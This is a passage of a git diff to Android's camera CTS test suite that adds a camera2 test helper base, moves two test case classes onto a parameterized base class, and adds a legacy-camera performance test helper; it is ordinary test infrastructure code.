+ public void setOrderedPreviewSizes(List<Size> sizes) {
+ mOrderedPreviewSizes = sizes;
+ }
+
+ public WindowManager getWindowManager() {
+ return mWindowManager;
+ }
+
+ public CameraErrorCollector getCollector() {
+ return mCollector;
+ }
+
+ /**
+ * Set up the camera2 test case required environments, including CameraManager,
+ * HandlerThread, Camera IDs, and CameraStateCallback etc.
+ */
+ @Override
+ public void before() throws Exception {
+ Log.v(TAG, "Set up...");
+ mCameraManager = (CameraManager) mContext.getSystemService(Context.CAMERA_SERVICE);
+ assertNotNull("Can't connect to camera manager!", mCameraManager);
+ mWindowManager = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
+ /**
+ * Workaround for mockito and JB-MR2 incompatibility
+ *
+ * Avoid java.lang.IllegalArgumentException: dexcache == null
+ * https://code.google.com/p/dexmaker/issues/detail?id=2
+ */
+ System.setProperty("dexmaker.dexcache", getContext().getCacheDir().toString());
+
+ mCameraIdsUnderTest = mCameraManager.getCameraIdListNoLazy();
+ assertNotNull("Camera ids shouldn't be null", mCameraIdsUnderTest);
+ mHandlerThread = new HandlerThread(TAG);
+ mHandlerThread.start();
+ mHandler = new Handler(mHandlerThread.getLooper());
+ mCameraListener = new BlockingStateCallback();
+ mCollector = new CameraErrorCollector();
+
+ File filesDir = mContext.getPackageManager().isInstantApp()
+ ? mContext.getFilesDir()
+ : mContext.getExternalFilesDir(null);
+
+ mDebugFileNameBase = filesDir.getPath();
+
+ mAllStaticInfo = new HashMap<String, StaticMetadata>();
+ List<String> hiddenPhysicalIds = new ArrayList<>();
+ for (String cameraId : mCameraIdsUnderTest) {
+ CameraCharacteristics props = mCameraManager.getCameraCharacteristics(cameraId);
+ StaticMetadata staticMetadata = new StaticMetadata(props,
+ CheckLevel.ASSERT, /*collector*/null);
+ mAllStaticInfo.put(cameraId, staticMetadata);
+
+ for (String physicalId : props.getPhysicalCameraIds()) {
+ if (!Arrays.asList(mCameraIdsUnderTest).contains(physicalId) &&
+ !hiddenPhysicalIds.contains(physicalId)) {
+ hiddenPhysicalIds.add(physicalId);
+ props = mCameraManager.getCameraCharacteristics(physicalId);
+ staticMetadata = new StaticMetadata(
+ mCameraManager.getCameraCharacteristics(physicalId),
+ CheckLevel.ASSERT, /*collector*/null);
+ mAllStaticInfo.put(physicalId, staticMetadata);
+ }
+ }
+ }
+ mAllCameraIds = new String[mCameraIdsUnderTest.length + hiddenPhysicalIds.size()];
+ System.arraycopy(mCameraIdsUnderTest, 0, mAllCameraIds, 0, mCameraIdsUnderTest.length);
+ for (int i = 0; i < hiddenPhysicalIds.size(); i++) {
+ mAllCameraIds[mCameraIdsUnderTest.length + i] = hiddenPhysicalIds.get(i);
+ }
+ }
+
+ @Override
+ public void after() {
+ Log.v(TAG, "Tear down...");
+ if (mCameraManager != null) {
+ try {
+ String[] cameraIdsPostTest = mCameraManager.getCameraIdListNoLazy();
+ assertNotNull("Camera ids shouldn't be null", cameraIdsPostTest);
+ Log.i(TAG, "Camera ids in setup:" + Arrays.toString(mCameraIdsUnderTest));
+ Log.i(TAG, "Camera ids in tearDown:" + Arrays.toString(cameraIdsPostTest));
+ assertTrue(
+ "Number of cameras changed from " + mCameraIdsUnderTest.length + " to " +
+ cameraIdsPostTest.length,
+ mCameraIdsUnderTest.length == cameraIdsPostTest.length);
+ mHandlerThread.quitSafely();
+ mHandler = null;
+ closeDefaultImageReader();
+ mCollector.verify();
+ } catch (Throwable e) {
+ // When new Exception(e) is used, exception info will be printed twice.
+ throw new RuntimeException(e.getMessage());
+ }
+ }
+ }
+
+ /**
+ * Start capture with given {@link #CaptureRequest}.
+ *
+ * @param request The {@link #CaptureRequest} to be captured.
+ * @param repeating If the capture is single capture or repeating.
+ * @param listener The {@link #CaptureCallback} camera device used to notify callbacks.
+ * @param handler The handler camera device used to post callbacks.
+ */
+ public void startCapture(CaptureRequest request, boolean repeating,
+ CaptureCallback listener, Handler handler) throws Exception {
+ if (VERBOSE) Log.v(TAG, "Starting capture from device");
+
+ if (repeating) {
+ mCameraSession.setRepeatingRequest(request, listener, handler);
+ } else {
+ mCameraSession.capture(request, listener, handler);
+ }
+ }
+
+ /**
+ * Stop the current active capture.
+ *
+ * @param fast When it is true, {@link CameraDevice#flush} is called, the stop capture
+ * could be faster.
+ */
+ public void stopCapture(boolean fast) throws Exception {
+ if (VERBOSE) Log.v(TAG, "Stopping capture");
+
+ if (fast) {
+ /**
+ * Flush is useful for canceling long exposure single capture, it also could help
+ * to make the streaming capture stop sooner.
+ */
+ mCameraSession.abortCaptures();
+ mCameraSessionListener.getStateWaiter().
+ waitForState(BlockingSessionCallback.SESSION_READY, CAMERA_IDLE_TIMEOUT_MS);
+ } else {
+ mCameraSession.close();
+ mCameraSessionListener.getStateWaiter().
+ waitForState(BlockingSessionCallback.SESSION_CLOSED, CAMERA_IDLE_TIMEOUT_MS);
+ }
+ }
+
+ /**
+ * Open a {@link #CameraDevice camera device} and get the StaticMetadata for a given camera id.
+ * The default mCameraListener is used to wait for states.
+ *
+ * @param cameraId The id of the camera device to be opened.
+ */
+ public void openDevice(String cameraId) throws Exception {
+ openDevice(cameraId, mCameraListener);
+ }
+
+ /**
+ * Open a {@link #CameraDevice} and get the StaticMetadata for a given camera id and listener.
+ *
+ * @param cameraId The id of the camera device to be opened.
+ * @param listener The {@link #BlockingStateCallback} used to wait for states.
+ */
+ public void openDevice(String cameraId, BlockingStateCallback listener) throws Exception {
+ mCamera = CameraTestUtils.openCamera(
+ mCameraManager, cameraId, listener, mHandler);
+ mCollector.setCameraId(cameraId);
+ mStaticInfo = mAllStaticInfo.get(cameraId);
+ if (mStaticInfo.isColorOutputSupported()) {
+ mOrderedPreviewSizes = getSupportedPreviewSizes(
+ cameraId, mCameraManager,
+ getPreviewSizeBound(mWindowManager, PREVIEW_SIZE_BOUND));
+ mOrderedVideoSizes = getSupportedVideoSizes(cameraId, mCameraManager, PREVIEW_SIZE_BOUND);
+ mOrderedStillSizes = getSupportedStillSizes(cameraId, mCameraManager, null);
+ }
+
+ if (VERBOSE) {
+ Log.v(TAG, "Camera " + cameraId + " is opened");
+ }
+ }
+
+ /**
+ * Create a {@link #CameraCaptureSession} using the currently open camera.
+ *
+ * @param outputSurfaces The set of output surfaces to configure for this session
+ */
+ public void createSession(List<Surface> outputSurfaces) throws Exception {
+ mCameraSessionListener = new BlockingSessionCallback();
+ mCameraSession = CameraTestUtils.configureCameraSession(mCamera, outputSurfaces,
+ mCameraSessionListener, mHandler);
+ }
+
+ /**
+ * Create a {@link #CameraCaptureSession} using the currently open camera with
+ * OutputConfigurations.
+ *
+ * @param outputSurfaces The set of output surfaces to configure for this session
+ */
+ public void createSessionByConfigs(List<OutputConfiguration> outputConfigs) throws Exception {
+ mCameraSessionListener = new BlockingSessionCallback();
+ mCameraSession = CameraTestUtils.configureCameraSessionWithConfig(mCamera, outputConfigs,
+ mCameraSessionListener, mHandler);
+ }
+
+ /**
+ * Close a {@link #CameraDevice camera device} and clear the associated StaticInfo field for a
+ * given camera id. The default mCameraListener is used to wait for states.
+ * <p>
+ * This function must be used along with the {@link #openDevice} for the
+ * same camera id.
+ * </p>
+ *
+ * @param cameraId The id of the {@link #CameraDevice camera device} to be closed.
+ */
+ public void closeDevice(String cameraId) {
+ closeDevice(cameraId, mCameraListener);
+ }
+
+ /**
+ * Close a {@link #CameraDevice camera device} and clear the associated StaticInfo field for a
+ * given camera id and listener.
+ * <p>
+ * This function must be used along with the {@link #openDevice} for the
+ * same camera id.
+ * </p>
+ *
+ * @param cameraId The id of the camera device to be closed.
+ * @param listener The BlockingStateCallback used to wait for states.
+ */
+ public void closeDevice(String cameraId, BlockingStateCallback listener) {
+ if (mCamera != null) {
+ if (!cameraId.equals(mCamera.getId())) {
+ throw new IllegalStateException("Try to close a device that is not opened yet");
+ }
+ mCamera.close();
+ listener.waitForState(STATE_CLOSED, CAMERA_CLOSE_TIMEOUT_MS);
+ mCamera = null;
+ mCameraSession = null;
+ mCameraSessionListener = null;
+ mStaticInfo = null;
+ mOrderedPreviewSizes = null;
+ mOrderedVideoSizes = null;
+ mOrderedStillSizes = null;
+
+ if (VERBOSE) {
+ Log.v(TAG, "Camera " + cameraId + " is closed");
+ }
+ }
+ }
+
+ /**
+ * Create an {@link ImageReader} object and get the surface.
+ * <p>
+ * This function creates {@link ImageReader} object and surface, then assign
+ * to the default {@link mReader} and {@link mReaderSurface}. It closes the
+ * current default active {@link ImageReader} if it exists.
+ * </p>
+ *
+ * @param size The size of this ImageReader to be created.
+ * @param format The format of this ImageReader to be created
+ * @param maxNumImages The max number of images that can be acquired
+ * simultaneously.
+ * @param listener The listener used by this ImageReader to notify
+ * callbacks.
+ */
+ public void createDefaultImageReader(Size size, int format, int maxNumImages,
+ ImageReader.OnImageAvailableListener listener) throws Exception {
+ closeDefaultImageReader();
+
+ mReader = createImageReader(size, format, maxNumImages, listener);
+ mReaderSurface = mReader.getSurface();
+ if (VERBOSE) Log.v(TAG, "Created ImageReader size " + size.toString());
+ }
+
+ /**
+ * Create an {@link ImageReader} object and get the surface.
+ * <p>
+ * This function creates {@link ImageReader} object and surface, then assign
+ * to the default {@link mReader} and {@link mReaderSurface}. It closes the
+ * current default active {@link ImageReader} if it exists.
+ * </p>
+ *
+ * @param size The size of this ImageReader to be created.
+ * @param format The format of this ImageReader to be created
+ * @param maxNumImages The max number of images that can be acquired
+ * simultaneously.
+ * @param usage The usage flag of the ImageReader
+ * @param listener The listener used by this ImageReader to notify
+ * callbacks.
+ */
+ public void createDefaultImageReader(Size size, int format, int maxNumImages, long usage,
+ ImageReader.OnImageAvailableListener listener) throws Exception {
+ closeDefaultImageReader();
+
+ mReader = createImageReader(size, format, maxNumImages, usage, listener);
+ mReaderSurface = mReader.getSurface();
+ if (VERBOSE) Log.v(TAG, "Created ImageReader size " + size.toString());
+ }
+
+ /**
+ * Create an {@link ImageReader} object.
+ *
+ * <p>This function creates image reader object for given format, maxImages, and size.</p>
+ *
+ * @param size The size of this ImageReader to be created.
+ * @param format The format of this ImageReader to be created
+ * @param maxNumImages The max number of images that can be acquired simultaneously.
+ * @param listener The listener used by this ImageReader to notify callbacks.
+ */
+
+ public ImageReader createImageReader(Size size, int format, int maxNumImages,
+ ImageReader.OnImageAvailableListener listener) throws Exception {
+
+ ImageReader reader = null;
+ reader = ImageReader.newInstance(size.getWidth(), size.getHeight(),
+ format, maxNumImages);
+
+ reader.setOnImageAvailableListener(listener, mHandler);
+ if (VERBOSE) Log.v(TAG, "Created ImageReader size " + size.toString());
+ return reader;
+ }
+
+ /**
+ * Create an {@link ImageReader} object.
+ *
+ * <p>This function creates image reader object for given format, maxImages, usage and size.</p>
+ *
+ * @param size The size of this ImageReader to be created.
+ * @param format The format of this ImageReader to be created
+ * @param maxNumImages The max number of images that can be acquired simultaneously.
+ * @param usage The usage flag of the ImageReader
+ * @param listener The listener used by this ImageReader to notify callbacks.
+ */
+
+ public ImageReader createImageReader(Size size, int format, int maxNumImages, long usage,
+ ImageReader.OnImageAvailableListener listener) throws Exception {
+ ImageReader reader = null;
+ reader = ImageReader.newInstance(size.getWidth(), size.getHeight(),
+ format, maxNumImages, usage);
+
+ reader.setOnImageAvailableListener(listener, mHandler);
+ if (VERBOSE) Log.v(TAG, "Created ImageReader size " + size.toString());
+ return reader;
+ }
+
+ /**
+ * Close the pending images then close current default {@link ImageReader} object.
+ */
+ public void closeDefaultImageReader() {
+ closeImageReader(mReader);
+ mReader = null;
+ mReaderSurface = null;
+ }
+
+ /**
+ * Close an image reader instance.
+ *
+ * @param reader
+ */
+ public void closeImageReader(ImageReader reader) {
+ if (reader != null) {
+ try {
+ // Close all possible pending images first.
+ Image image = reader.acquireLatestImage();
+ if (image != null) {
+ image.close();
+ }
+ } finally {
+ reader.close();
+ reader = null;
+ }
+ }
+ }
+
+ public void checkImageReaderSessionConfiguration(String msg) throws Exception {
+ List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>();
+ outputConfigs.add(new OutputConfiguration(mReaderSurface));
+
+ checkSessionConfigurationSupported(mCamera, mHandler, outputConfigs, /*inputConfig*/ null,
+ SessionConfiguration.SESSION_REGULAR, /*expectedResult*/ true, msg);
+ }
+
+ public CaptureRequest prepareCaptureRequest() throws Exception {
+ return prepareCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+ }
+
+ public CaptureRequest prepareCaptureRequest(int template) throws Exception {
+ List<Surface> outputSurfaces = new ArrayList<Surface>();
+ Surface surface = mReader.getSurface();
+ assertNotNull("Fail to get surface from ImageReader", surface);
+ outputSurfaces.add(surface);
+ return prepareCaptureRequestForSurfaces(outputSurfaces, template)
+ .build();
+ }
+
+ public CaptureRequest.Builder prepareCaptureRequestForSurfaces(List<Surface> surfaces,
+ int template)
+ throws Exception {
+ createSession(surfaces);
+
+ CaptureRequest.Builder captureBuilder =
+ mCamera.createCaptureRequest(template);
+ assertNotNull("Fail to get captureRequest", captureBuilder);
+ for (Surface surface : surfaces) {
+ captureBuilder.addTarget(surface);
+ }
+
+ return captureBuilder;
+ }
+
+ public CaptureRequest.Builder prepareCaptureRequestForConfigs(
+ List<OutputConfiguration> outputConfigs, int template) throws Exception {
+ createSessionByConfigs(outputConfigs);
+
+ CaptureRequest.Builder captureBuilder =
+ mCamera.createCaptureRequest(template);
+ assertNotNull("Fail to get captureRequest", captureBuilder);
+ for (OutputConfiguration config : outputConfigs) {
+ for (Surface s : config.getSurfaces()) {
+ captureBuilder.addTarget(s);
+ }
+ }
+
+ return captureBuilder;
+ }
+
+ /**
+ * Test the invalid Image access: accessing a closed image must result in
+ * {@link IllegalStateException}.
+ *
+ * @param closedImage The closed image.
+ * @param closedBuffer The ByteBuffer from a closed Image. buffer invalid
+ * access will be skipped if it is null.
+ */
+ public void imageInvalidAccessTestAfterClose(Image closedImage,
+ Plane closedPlane, ByteBuffer closedBuffer) {
+ if (closedImage == null) {
+ throw new IllegalArgumentException(" closedImage must be non-null");
+ }
+ if (closedBuffer != null && !closedBuffer.isDirect()) {
+ throw new IllegalArgumentException("The input ByteBuffer should be direct ByteBuffer");
+ }
+
+ if (closedPlane != null) {
+ // Plane#getBuffer test
+ try {
+ closedPlane.getBuffer(); // An ISE should be thrown here.
+ fail("Image should throw IllegalStateException when calling getBuffer"
+ + " after the image is closed");
+ } catch (IllegalStateException e) {
+ // Expected.
+ }
+
+ // Plane#getPixelStride test
+ try {
+ closedPlane.getPixelStride(); // An ISE should be thrown here.
+ fail("Image should throw IllegalStateException when calling getPixelStride"
+ + " after the image is closed");
+ } catch (IllegalStateException e) {
+ // Expected.
+ }
+
+ // Plane#getRowStride test
+ try {
+ closedPlane.getRowStride(); // An ISE should be thrown here.
+ fail("Image should throw IllegalStateException when calling getRowStride"
+ + " after the image is closed");
+ } catch (IllegalStateException e) {
+ // Expected.
+ }
+ }
+
+ // ByteBuffer access test
+ if (closedBuffer != null) {
+ try {
+ closedBuffer.get(); // An ISE should be thrown here.
+ fail("Image should throw IllegalStateException when accessing a byte buffer"
+ + " after the image is closed");
+ } catch (IllegalStateException e) {
+ // Expected.
+ }
+ }
+
+ // Image#getFormat test
+ try {
+ closedImage.getFormat();
+ fail("Image should throw IllegalStateException when calling getFormat"
+ + " after the image is closed");
+ } catch (IllegalStateException e) {
+ // Expected.
+ }
+
+ // Image#getWidth test
+ try {
+ closedImage.getWidth();
+ fail("Image should throw IllegalStateException when calling getWidth"
+ + " after the image is closed");
+ } catch (IllegalStateException e) {
+ // Expected.
+ }
+
+ // Image#getHeight test
+ try {
+ closedImage.getHeight();
+ fail("Image should throw IllegalStateException when calling getHeight"
+ + " after the image is closed");
+ } catch (IllegalStateException e) {
+ // Expected.
+ }
+
+ // Image#getTimestamp test
+ try {
+ closedImage.getTimestamp();
+ fail("Image should throw IllegalStateException when calling getTimestamp"
+ + " after the image is closed");
+ } catch (IllegalStateException e) {
+ // Expected.
+ }
+
+ // Image#getTimestamp test
+ try {
+ closedImage.getTimestamp();
+ fail("Image should throw IllegalStateException when calling getTimestamp"
+ + " after the image is closed");
+ } catch (IllegalStateException e) {
+ // Expected.
+ }
+
+ // Image#getCropRect test
+ try {
+ closedImage.getCropRect();
+ fail("Image should throw IllegalStateException when calling getCropRect"
+ + " after the image is closed");
+ } catch (IllegalStateException e) {
+ // Expected.
+ }
+
+ // Image#setCropRect test
+ try {
+ Rect rect = new Rect();
+ closedImage.setCropRect(rect);
+ fail("Image should throw IllegalStateException when calling setCropRect"
+ + " after the image is closed");
+ } catch (IllegalStateException e) {
+ // Expected.
+ }
+
+ // Image#getPlanes test
+ try {
+ closedImage.getPlanes();
+ fail("Image should throw IllegalStateException when calling getPlanes"
+ + " after the image is closed");
+ } catch (IllegalStateException e) {
+ // Expected.
+ }
+ }
+}
\ No newline at end of file
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
index c345b41..090aa6c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
@@ -28,6 +28,8 @@
import android.graphics.RectF;
import android.graphics.SurfaceTexture;
import android.hardware.camera2.CameraCaptureSession;
+import android.hardware.camera2.cts.Camera2ParameterizedTestCase;
+import android.hardware.camera2.cts.CameraTestUtils;
import android.hardware.camera2.CameraCaptureSession.CaptureCallback;
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraManager;
@@ -58,6 +60,7 @@
import org.junit.After;
import org.junit.Before;
+import org.junit.Ignore;
import org.junit.Rule;
import java.util.Arrays;
@@ -67,7 +70,8 @@
/**
* Camera2 test case base class by using mixed SurfaceView and TextureView as rendering target.
*/
-public class Camera2MultiViewTestCase {
+
+public class Camera2MultiViewTestCase extends Camera2ParameterizedTestCase {
private static final String TAG = "MultiViewTestCase";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -75,13 +79,10 @@
protected TextureView[] mTextureView =
new TextureView[Camera2MultiViewCtsActivity.MAX_TEXTURE_VIEWS];
- protected String[] mCameraIds;
protected Handler mHandler;
- private CameraManager mCameraManager;
private HandlerThread mHandlerThread;
private Activity mActivity;
- private Context mContext;
private CameraHolder[] mCameraHolders;
private HashMap<String, Integer> mCameraIdMap;
@@ -92,15 +93,10 @@
public ActivityTestRule<Camera2MultiViewCtsActivity> mActivityRule =
new ActivityTestRule<>(Camera2MultiViewCtsActivity.class);
- @Before
+ @Override
public void setUp() throws Exception {
+ super.setUp();
mActivity = mActivityRule.getActivity();
- mContext = mActivity.getApplicationContext();
- assertNotNull("Unable to get activity", mContext);
- mCameraManager = (CameraManager) mContext.getSystemService(Context.CAMERA_SERVICE);
- assertNotNull("Unable to get CameraManager", mCameraManager);
- mCameraIds = mCameraManager.getCameraIdList();
- assertNotNull("Unable to get camera ids", mCameraIds);
mHandlerThread = new HandlerThread(TAG);
mHandlerThread.start();
mHandler = new Handler(mHandlerThread.getLooper());
@@ -110,25 +106,17 @@
}
assertNotNull("Unable to get texture view", mTextureView);
mCameraIdMap = new HashMap<String, Integer>();
- int numCameras = mCameraIds.length;
+ int numCameras = mCameraIdsUnderTest.length;
mCameraHolders = new CameraHolder[numCameras];
for (int i = 0; i < numCameras; i++) {
- mCameraHolders[i] = new CameraHolder(mCameraIds[i]);
- mCameraIdMap.put(mCameraIds[i], i);
+ mCameraHolders[i] = new CameraHolder(mCameraIdsUnderTest[i]);
+ mCameraIdMap.put(mCameraIdsUnderTest[i], i);
}
mWindowManager = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
}
- @After
+ @Override
public void tearDown() throws Exception {
- String[] cameraIdsPostTest = mCameraManager.getCameraIdList();
- assertNotNull("Camera ids shouldn't be null", cameraIdsPostTest);
- Log.i(TAG, "Camera ids in setup:" + Arrays.toString(mCameraIds));
- Log.i(TAG, "Camera ids in tearDown:" + Arrays.toString(cameraIdsPostTest));
- assertTrue(
- "Number of cameras changed from " + mCameraIds.length + " to " +
- cameraIdsPostTest.length,
- mCameraIds.length == cameraIdsPostTest.length);
mHandlerThread.quitSafely();
mHandler = null;
for (CameraHolder camera : mCameraHolders) {
@@ -137,6 +125,7 @@
camera = null;
}
}
+ super.tearDown();
}
/**
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
index 5a95d62..ecc87d6 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
@@ -19,6 +19,8 @@
import static android.hardware.camera2.cts.CameraTestUtils.*;
import static com.android.ex.camera2.blocking.BlockingStateCallback.STATE_CLOSED;
+import androidx.test.InstrumentationRegistry;
+import android.app.UiAutomation;
import android.content.Context;
import android.graphics.ImageFormat;
@@ -32,6 +34,7 @@
import android.hardware.camera2.CaptureRequest;
import android.hardware.camera2.CaptureResult;
import android.hardware.camera2.cts.Camera2SurfaceViewCtsActivity;
+import android.hardware.camera2.cts.Camera2ParameterizedTestCase;
import android.hardware.camera2.cts.CameraTestUtils;
import android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback;
import android.hardware.camera2.cts.helpers.CameraErrorCollector;
@@ -57,6 +60,7 @@
import org.junit.After;
import org.junit.Before;
+import org.junit.Ignore;
import org.junit.Rule;
import java.io.File;
@@ -64,6 +68,12 @@
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
/**
* Camera2 Preview test case base class by using SurfaceView as rendering target.
@@ -75,7 +85,7 @@
* </p>
*/
-public class Camera2SurfaceViewTestCase {
+public class Camera2SurfaceViewTestCase extends Camera2ParameterizedTestCase {
private static final String TAG = "SurfaceViewTestCase";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
private static final int WAIT_FOR_SURFACE_CHANGE_TIMEOUT_MS = 1000;
@@ -86,9 +96,6 @@
protected static final int NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY = 8;
protected static final int MIN_FRAME_DURATION_ERROR_MARGIN = 100; // ns
- protected Context mContext;
- protected CameraManager mCameraManager;
- protected String[] mCameraIds;
protected HandlerThread mHandlerThread;
protected Handler mHandler;
protected BlockingStateCallback mCameraListener;
@@ -119,18 +126,7 @@
@Before
public void setUp() throws Exception {
- mContext = mActivityRule.getActivity().getApplicationContext();
- /**
- * Workaround for mockito and JB-MR2 incompatibility
- *
- * Avoid java.lang.IllegalArgumentException: dexcache == null
- * https://code.google.com/p/dexmaker/issues/detail?id=2
- */
- System.setProperty("dexmaker.dexcache", mContext.getCacheDir().toString());
- mCameraManager = (CameraManager) mContext.getSystemService(Context.CAMERA_SERVICE);
- assertNotNull("Unable to get CameraManager", mCameraManager);
- mCameraIds = mCameraManager.getCameraIdList();
- assertNotNull("Unable to get camera ids", mCameraIds);
+ super.setUp();
mHandlerThread = new HandlerThread(TAG);
mHandlerThread.start();
mHandler = new Handler(mHandlerThread.getLooper());
@@ -145,14 +141,14 @@
mAllStaticInfo = new HashMap<String, StaticMetadata>();
List<String> hiddenPhysicalIds = new ArrayList<>();
- for (String cameraId : mCameraIds) {
+ for (String cameraId : mCameraIdsUnderTest) {
CameraCharacteristics props = mCameraManager.getCameraCharacteristics(cameraId);
StaticMetadata staticMetadata = new StaticMetadata(props,
CheckLevel.ASSERT, /*collector*/null);
mAllStaticInfo.put(cameraId, staticMetadata);
for (String physicalId : props.getPhysicalCameraIds()) {
- if (!Arrays.asList(mCameraIds).contains(physicalId) &&
+ if (!Arrays.asList(mCameraIdsUnderTest).contains(physicalId) &&
!hiddenPhysicalIds.contains(physicalId)) {
hiddenPhysicalIds.add(physicalId);
props = mCameraManager.getCameraCharacteristics(physicalId);
@@ -169,15 +165,6 @@
@After
public void tearDown() throws Exception {
- String[] cameraIdsPostTest = mCameraManager.getCameraIdList();
- assertNotNull("Camera ids shouldn't be null", cameraIdsPostTest);
- Log.i(TAG, "Camera ids in setup:" + Arrays.toString(mCameraIds));
- Log.i(TAG, "Camera ids in tearDown:" + Arrays.toString(cameraIdsPostTest));
- assertTrue(
- "Number of cameras changed from " + mCameraIds.length + " to " +
- cameraIdsPostTest.length,
- mCameraIds.length == cameraIdsPostTest.length);
- // Teardown the camera preview required environments.
mHandlerThread.quitSafely();
mHandler = null;
mCameraListener = null;
@@ -188,6 +175,7 @@
// When new Exception(e) is used, exception info will be printed twice.
throw new Exception(e.getMessage());
}
+ super.tearDown();
}
/**
@@ -541,7 +529,7 @@
List<Integer> expectedAeStates = new ArrayList<Integer>();
expectedAeStates.add(new Integer(CaptureResult.CONTROL_AE_STATE_LOCKED));
CameraTestUtils.waitForAnyResultValue(resultListener, CaptureResult.CONTROL_AE_STATE,
- expectedAeStates, WAIT_FOR_RESULT_TIMEOUT_MS, NUM_RESULTS_WAIT_TIMEOUT);
+ expectedAeStates, NUM_RESULTS_WAIT_TIMEOUT, WAIT_FOR_RESULT_TIMEOUT_MS);
}
/**
diff --git a/tests/camera/src/android/hardware/cts/CameraPerformanceTestHelper.java b/tests/camera/src/android/hardware/cts/CameraPerformanceTestHelper.java
new file mode 100644
index 0000000..379fad5
--- /dev/null
+++ b/tests/camera/src/android/hardware/cts/CameraPerformanceTestHelper.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.hardware.Camera;
+import android.hardware.Camera.AutoFocusCallback;
+import android.hardware.Camera.ErrorCallback;
+import android.hardware.Camera.PictureCallback;
+import android.hardware.Camera.PreviewCallback;
+import android.os.Looper;
+import android.util.Log;
+
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+
+public class CameraPerformanceTestHelper {
+ private static final String TAG = "CameraTestCase";
+ private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+
+ public static final int NO_ERROR = -1;
+ public static final long WAIT_FOR_COMMAND_TO_COMPLETE_NS = 5000000000L;
+ public static final long WAIT_FOR_FOCUS_TO_COMPLETE_NS = 5000000000L;
+ public static final long WAIT_FOR_SNAPSHOT_TO_COMPLETE_NS = 5000000000L;
+
+ private Looper mLooper = null;
+ private int mCameraErrorCode;
+ private Camera mCamera;
+
+ /**
+ * Initializes the message looper so that the Camera object can
+ * receive the callback messages.
+ */
+ public void initializeMessageLooper(final int cameraId) throws InterruptedException {
+ Lock startLock = new ReentrantLock();
+ Condition startDone = startLock.newCondition();
+ mCameraErrorCode = NO_ERROR;
+ new Thread() {
+ @Override
+ public void run() {
+ // Set up a looper to be used by camera.
+ Looper.prepare();
+ // Save the looper so that we can terminate this thread
+ // after we are done with it.
+ mLooper = Looper.myLooper();
+ try {
+ mCamera = Camera.open(cameraId);
+ mCamera.setErrorCallback(new ErrorCallback() {
+ @Override
+ public void onError(int error, Camera camera) {
+ mCameraErrorCode = error;
+ }
+ });
+ } catch (RuntimeException e) {
+ Log.e(TAG, "Fail to open camera." + e);
+ }
+ startLock.lock();
+ startDone.signal();
+ startLock.unlock();
+ Looper.loop(); // Blocks forever until Looper.quit() is called.
+ if (VERBOSE) Log.v(TAG, "initializeMessageLooper: quit.");
+ }
+ }.start();
+
+ startLock.lock();
+ try {
+ assertTrue(
+ "initializeMessageLooper: start timeout",
+ startDone.awaitNanos(WAIT_FOR_COMMAND_TO_COMPLETE_NS) > 0L);
+ } finally {
+ startLock.unlock();
+ }
+
+ assertNotNull("Fail to open camera.", mCamera);
+ }
+
+ /**
+ * Terminates the message looper thread, optionally allowing evict error
+ */
+ public void terminateMessageLooper() throws Exception {
+ mLooper.quit();
+ // Looper.quit() is asynchronous. The looper may still has some
+ // preview callbacks in the queue after quit is called. The preview
+ // callback still uses the camera object (setHasPreviewCallback).
+ // After camera is released, RuntimeException will be thrown from
+ // the method. So we need to join the looper thread here.
+ mLooper.getThread().join();
+ mCamera.release();
+ mCamera = null;
+ assertEquals("Got camera error callback.", NO_ERROR, mCameraErrorCode);
+ }
+
+ /**
+ * Start preview and wait for the first preview callback, which indicates the
+ * preview becomes active.
+ */
+ public void startPreview() throws InterruptedException {
+ Lock previewLock = new ReentrantLock();
+ Condition previewDone = previewLock.newCondition();
+
+ mCamera.setPreviewCallback(new PreviewCallback() {
+ @Override
+ public void onPreviewFrame(byte[] data, android.hardware.Camera camera) {
+ previewLock.lock();
+ previewDone.signal();
+ previewLock.unlock();
+ }
+ });
+ mCamera.startPreview();
+
+ previewLock.lock();
+ try {
+ assertTrue(
+ "Preview done timeout",
+ previewDone.awaitNanos(WAIT_FOR_COMMAND_TO_COMPLETE_NS) > 0L);
+ } finally {
+ previewLock.unlock();
+ }
+
+ mCamera.setPreviewCallback(null);
+ }
+
+ /**
